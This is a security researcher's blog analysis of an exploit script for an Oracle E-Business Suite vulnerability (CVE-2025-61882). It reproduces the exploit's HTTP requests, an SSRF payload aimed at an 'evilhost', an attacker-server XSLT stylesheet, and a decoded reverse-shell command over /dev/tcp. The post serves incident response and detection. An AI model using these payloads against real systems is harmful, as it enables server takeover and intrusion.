Quick and Dirty Analysis of Possible Oracle E-Business Suite Exploit Script (CVE-2025-61882) [UPDATED[

    Published: 2025-10-06. Last Updated: 2025-10-06 12:36:04 UTC
    by Johannes Ullrich (Version: 1)
    1 comment(s)

    [Update: I added the server part delivering the payload]

    This weekend, Oracle published a surprise security bulletin announcing an exploited vulnerability in Oracle E-Business Suite. As part of the announcement, which also included a patch, Oracle published IoC observed as part of the incident response [1].

    One script I found interesting is what Oracle calls "exp.py" [2]. Here is a quick analysis of the HTTP requests sent by the script. I only ran it against a simple Python web server, not an actual Oracle E-Business Suite install.

    The script takes two parameters: The URL of the target and the IP/port of a config server.

    The first request sent by the script:

    GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1
    Host: [target host]:8000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive

    The script starts by assuming that the internal host is the same as the target host. If this request results in a redirect, the new internal host will be extracted from the Location header.

    POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1
    Host: [target host]:8000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    CSRF-XHR: YES
    FETCH-CSRF-TOKEN: 1
    Content-Length: 0

    This request will return a CSRF token that is extracted from the body of the response.

    Finally, the actual exploit request is created:

    POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1
    Host: localhost:8000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    CSRF-XHR: YES
    FETCH-CSRF-TOKEN: 1
    Content-Length: 4324
    Content-Type: application/x-www-form-urlencoded

    These are the headers of the request, which are not very remarkable. The body is a bit more interesting. After URL and HTML entity decoding, the body turns out to be:

    redirectFromJsp=1
    getUiType=<?xml+version="1.0"+encoding="UTF-8"?>
    <initialize>
    ++++<param+name="init_was_saved">test</param>
    ++++<param+name="return_url">
    http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
    Host: evilhost:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Connection: keep-alive
    Cookie:

    POST /

    ++++<param+name="ui_def_id">0</param>
    ++++<param+name="config_effective_usage_id">0</param>
    ++++<param+name="ui_type">Applet</param>
    </initialize>

    Interesting is the use of the invalid HTTP version 1.2, which may be used to bypass some filters. The stray "POST /" at the end is labeled as "keep alive", and may just be a partial request to keep the connection open a bit longer.

    Port 7201 is the default non-TLS port for the application server. The URL looks like a path traversal exploit. Given that this is the payload of the last request, the vulnerability is likely best described as a server-side request forgery issue (and it is labeled as such in the script). 

    In short, the exploit does:

    • Verify the hostname name
    • Retrieve a CSRF token
    • sends a request to the app server to use SSRF to connect to an "evilhost" and retrieve instructions? Maybe more about this later. From a detection point of view. The HTTP version 1.2 looks promising.

    The "evilhost" the script connects to is implemented with a simple Python script, server.py, implementing two paths [3]:

    GET /OA_HTML/help/../ieshostedsurvey.xsl
    POST /OA_HTML/help/../ibeCRgpIndividualUser.jsp

    Both return the same XSLT style sheet:

    <xsl:stylesheet version="1.0"
                        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                        xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
                        xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
                        xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
                        xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
            <xsl:template match="/">
                <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'CiAgICB2YXIgc3RyaW5nYyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCdqYXZhLmxhbmcuU3RyaW5nJyk7CiAgICB2YXIgY21kcyA9ICBqYXZhLmxhbmcucmVmbGVjdC5BcnJheS5uZXdJbnN0YW5jZShzdHJpbmdjLDMpOwogICAgamF2YS5sYW5nLnJlZmxlY3QuQXJyYXkuc2V0KGNtZHMsMCwnc2gnKTsKICAgIGphdmEubGFuZy5yZWZsZWN0LkFycmF5LnNldChjbWRzLDEsJy1jJyk7CiAgICBqYXZhLmxhbmcucmVmbGVjdC5BcnJheS5zZXQoY21kcywyLCdiYXNoIC1pID4mIC9kZXYvdGNwLzguOC44LjgvNDQ0NCAwPiYxJyk7CiAgICBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKTsKICAgIDEKICAgICAgICA=')"/>
                <xsl:variable name="js" select="str:new($bs)"/>
                <xsl:variable name="m" select="jsm:new()"/>
                <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
                <xsl:variable name="code" select="eng:eval($e, $js)"/>
                <xsl:value-of select="$code"/>
            </xsl:template>
        </xsl:stylesheet>

     

    The Base64 encoded part includes the user configurable command to execute:

        var stringc = java.lang.Class.forName('java.lang.String');
        var cmds =  java.lang.reflect.Array.newInstance(stringc,3);
        java.lang.reflect.Array.set(cmds,0,'sh');
        java.lang.reflect.Array.set(cmds,1,'-c');
        java.lang.reflect.Array.set(cmds,2,'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1');
        java.lang.Runtime.getRuntime().exec(cmds);
        1

     

    For the Windows version of the exploit, cmd /c is used instead of sh -c.

    Note that the request referenced in exp.py requests "/OA_HTML/help/../ieshostedsurvey.jsp", not the .xsl stylesheet. I can only guess at this point that there may be a request triggered to translate the .jsp file, which may be related to the SSRF issue. Maybe someone else has a better idea, or more insight into how the app server works.

    [1] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
    [2] https://www.virustotal.com/gui/file/aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121
    [3] https://www.virustotal.com/gui/file/6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b/community

    --
    Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
    Twitter|

    Keywords:
    1 comment(s)
    ISC Stormcast For Monday, October 6th, 2025 https://isc.sans.edu/podcastdetail/9642

      Comments


      Diary Archives